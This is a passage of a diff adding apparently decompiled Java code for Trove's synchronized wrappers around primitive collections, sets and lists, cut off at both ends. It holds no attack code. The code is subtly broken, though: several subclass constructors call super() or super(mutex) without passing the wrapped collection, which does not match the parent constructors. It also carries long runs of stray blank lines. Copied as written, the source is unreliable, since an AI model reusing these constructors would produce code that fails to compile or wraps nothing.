+    public boolean contains(int o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public int[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public int[] toArray(int[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntIterator iterator() { return c.iterator(); }
+    
+    public boolean add(int e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(int o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TIntCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(int[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Integer> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TIntCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(int[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TIntCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(int[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TIntCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(int[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public int getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TIntProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongCollection
+    implements TLongCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    
+    final TLongCollection c;
+    final Object mutex;
+    
+    public TSynchronizedLongCollection(TLongCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongCollection(TLongCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(long o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public long[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public long[] toArray(long[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongIterator iterator() { return c.iterator(); }
+    
+    public boolean add(long e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(long o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TLongCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(long[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Long> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TLongCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(long[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TLongCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(long[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TLongCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(long[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public long getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TLongProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteCollection
+    implements TByteCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    
+    final TByteCollection c;
+    final Object mutex;
+    
+    public TSynchronizedByteCollection(TByteCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteCollection(TByteCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(byte o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public byte[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public byte[] toArray(byte[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteIterator iterator() { return c.iterator(); }
+    
+    public boolean add(byte e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(byte o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TByteCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(byte[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Byte> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TByteCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(byte[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TByteCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(byte[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TByteCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(byte[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public byte getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TByteProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortCollection
+    implements TShortCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    
+    final TShortCollection c;
+    final Object mutex;
+    
+    public TSynchronizedShortCollection(TShortCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortCollection(TShortCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(short o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public short[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public short[] toArray(short[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortIterator iterator() { return c.iterator(); }
+    
+    public boolean add(short e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(short o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TShortCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(short[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Short> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TShortCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(short[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TShortCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(short[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TShortCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(short[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public short getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TShortProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharCollection
+    implements TCharCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    
+    final TCharCollection c;
+    final Object mutex;
+    
+    public TSynchronizedCharCollection(TCharCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharCollection(TCharCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(char o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public char[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public char[] toArray(char[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharIterator iterator() { return c.iterator(); }
+    
+    public boolean add(char e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(char o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TCharCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(char[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Character> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TCharCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(char[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TCharCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(char[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TCharCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(char[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public char getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TCharProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleSet
+    extends TSynchronizedCollections.TSynchronizedDoubleCollection
+    implements gnu.trove.set.TDoubleSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+    public TSynchronizedDoubleSet(gnu.trove.set.TDoubleSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedDoubleSet(gnu.trove.set.TDoubleSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedFloatSet
+    extends TSynchronizedCollections.TSynchronizedFloatCollection
+    implements gnu.trove.set.TFloatSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedFloatSet(gnu.trove.set.TFloatSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedFloatSet(gnu.trove.set.TFloatSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedIntSet
+    extends TSynchronizedCollections.TSynchronizedIntCollection
+    implements gnu.trove.set.TIntSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedIntSet(gnu.trove.set.TIntSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedIntSet(gnu.trove.set.TIntSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedLongSet
+    extends TSynchronizedCollections.TSynchronizedLongCollection
+    implements gnu.trove.set.TLongSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedLongSet(gnu.trove.set.TLongSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedLongSet(gnu.trove.set.TLongSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedByteSet
+    extends TSynchronizedCollections.TSynchronizedByteCollection
+    implements gnu.trove.set.TByteSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedByteSet(gnu.trove.set.TByteSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedByteSet(gnu.trove.set.TByteSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedShortSet
+    extends TSynchronizedCollections.TSynchronizedShortCollection
+    implements gnu.trove.set.TShortSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedShortSet(gnu.trove.set.TShortSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedShortSet(gnu.trove.set.TShortSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedCharSet
+    extends TSynchronizedCollections.TSynchronizedCharCollection
+    implements gnu.trove.set.TCharSet
+  {
+    private static final long serialVersionUID = 487447009682186044L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedCharSet(gnu.trove.set.TCharSet s)
+    {
+      super();
+    }
+    
+    public TSynchronizedCharSet(gnu.trove.set.TCharSet s, Object mutex) { super(mutex); }
+    
+    public boolean equals(Object o)
+    {
+      synchronized (mutex) { return c.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return c.hashCode();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TSynchronizedDoubleList
+    extends TSynchronizedCollections.TSynchronizedDoubleCollection
+    implements TDoubleList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    final TDoubleList list;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TSynchronizedDoubleList(TDoubleList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedDoubleList(TDoubleList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public double get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, double element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, double[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, double[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public double replace(int offset, double val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public double removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
+    public void add(double[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(double[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, double value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, double[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, double[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(double o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(double o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TDoubleList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedDoubleList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public double[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public double[] toArray(double[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public double[] toArray(double[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, double value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, double value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(double val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, double val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(double value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(double value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TDoubleList grep(TDoubleProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TDoubleList inverseGrep(TDoubleProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public double max() { synchronized (mutex) { return list.max(); } }
+    public double min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TDoubleProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessDoubleList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessDoubleList
+    extends TSynchronizedCollections.TSynchronizedDoubleList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessDoubleList(TDoubleList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessDoubleList(TDoubleList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TDoubleList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessDoubleList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedDoubleList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedFloatList
+    extends TSynchronizedCollections.TSynchronizedFloatCollection
+    implements TFloatList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+    final TFloatList list;
+    
+
+    public TSynchronizedFloatList(TFloatList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedFloatList(TFloatList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public float get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, float element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, float[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, float[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public float replace(int offset, float val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public float removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
+    public void add(float[] vals) { synchronized (mutex) { list.add(vals);
+      } }
+    
+    public void add(float[] vals, int offset, int length) { synchronized (mutex) { list.add(vals, offset, length);
+      }
+    }
+    
+    public void insert(int offset, float value) { synchronized (mutex) { list.insert(offset, value);
+      } }
+    
+    public void insert(int offset, float[] values) { synchronized (mutex) { list.insert(offset, values);
+      } }
+    
+    public void insert(int offset, float[] values, int valOffset, int len) { synchronized (mutex) { list.insert(offset, values, valOffset, len);
+      }
+    }
+    
+    public int indexOf(float o) { synchronized (mutex) { return list.indexOf(o);
+      } }
+    
+    public int lastIndexOf(float o) { synchronized (mutex) { return list.lastIndexOf(o);
+      }
+    }
+    
+
+
+
+
+
+
+    public TFloatList subList(int fromIndex, int toIndex)
+    {
+      synchronized (mutex) {
+        return new TSynchronizedFloatList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+    public float[] toArray(int offset, int len)
+    {
+      synchronized (mutex) { return list.toArray(offset, len);
+      } }
+    
+    public float[] toArray(float[] dest, int offset, int len) { synchronized (mutex) { return list.toArray(dest, offset, len);
+      } }
+    
+    public float[] toArray(float[] dest, int source_pos, int dest_pos, int len) { synchronized (mutex) { return list.toArray(dest, source_pos, dest_pos, len);
+      }
+    }
+    
+    public int indexOf(int offset, float value) { synchronized (mutex) { return list.indexOf(offset, value);
+      } }
+    
+    public int lastIndexOf(int offset, float value) { synchronized (mutex) { return list.lastIndexOf(offset, value);
+      }
+    }
+    
+    public void fill(float val) { synchronized (mutex) { list.fill(val);
+      } }
+    
+    public void fill(int fromIndex, int toIndex, float val) { synchronized (mutex) { list.fill(fromIndex, toIndex, val);
+      }
+    }
+    
+    public void reverse() { synchronized (mutex) { list.reverse();
+      } }
+    
+    public void reverse(int from, int to) { synchronized (mutex) { list.reverse(from, to);
+      }
+    }
+    
+    public void shuffle(java.util.Random rand) { synchronized (mutex) { list.shuffle(rand);
+      }
+    }
+    
+    public void sort() { synchronized (mutex) { list.sort();
+      } }
+    
+    public void sort(int fromIndex, int toIndex) { synchronized (mutex) { list.sort(fromIndex, toIndex);
+      }
+    }
+    
+    public int binarySearch(float value) { synchronized (mutex) { return list.binarySearch(value);
+      } }
+    
+    public int binarySearch(float value, int fromIndex, int toIndex) { synchronized (mutex) { return list.binarySearch(value, fromIndex, toIndex);
+      }
+    }
+    
+    public TFloatList grep(TFloatProcedure condition) { synchronized (mutex) { return list.grep(condition);
+      } }
+    
+    public TFloatList inverseGrep(TFloatProcedure condition) { synchronized (mutex) { return list.inverseGrep(condition);
+      } }
+    
+    public float max() { synchronized (mutex) { return list.max(); } }
+    public float min() { synchronized (mutex) { return list.min();
+      } }
+    
+    public boolean forEachDescending(TFloatProcedure procedure) { synchronized (mutex) { return list.forEachDescending(procedure);
+      }
+    }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { list.transformValues(function);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TSynchronizedCollections.TSynchronizedRandomAccessFloatList(list) : this;
+    }
+  }
+  
+
+
+  public static class TSynchronizedRandomAccessFloatList
+    extends TSynchronizedCollections.TSynchronizedFloatList
+    implements java.util.RandomAccess
+  {
+    static final long serialVersionUID = 1530674583602358482L;
+    
+
+    public TSynchronizedRandomAccessFloatList(TFloatList list)
+    {
+      super();
+    }
+    
+    public TSynchronizedRandomAccessFloatList(TFloatList list, Object mutex) {
+      super(mutex);
+    }
+    
+    public TFloatList subList(int fromIndex, int toIndex) {
+      synchronized (mutex) {
+        return new TSynchronizedRandomAccessFloatList(list.subList(fromIndex, toIndex), mutex);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TSynchronizedCollections.TSynchronizedFloatList(list);
+    }
+  }
+  
+
+  public static class TSynchronizedIntList
+    extends TSynchronizedCollections.TSynchronizedIntCollection
+    implements TIntList
+  {
+    static final long serialVersionUID = -7754090372962971524L;
+    
+    final TIntList list;
+    
+
+    public TSynchronizedIntList(TIntList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public TSynchronizedIntList(TIntList list, Object mutex) { super(mutex);
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) {
+      synchronized (mutex) { return list.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return list.hashCode();
+      }
+    }
+    
+    public int get(int index) { synchronized (mutex) { return list.get(index);
+      } }
+    
+    public void set(int index, int element) { synchronized (mutex) { list.set(index, element);
+      } }
+    
+    public void set(int offset, int[] values) { synchronized (mutex) { list.set(offset, values);
+      } }
+    
+    public void set(int offset, int[] values, int valOffset, int length) { synchronized (mutex) { list.set(offset, values, valOffset, length);
+      }
+    }
+    
+    public int replace(int offset, int val) { synchronized (mutex) { return list.replace(offset, val);
+      } }
+    
+    public void remove(int offset, int length) { synchronized (mutex) { list.remove(offset, length);
+      } }
+    
+    public int removeAt(int offset) { synchronized (mutex) { return list.removeAt(offset);
+      }
+    }
+    
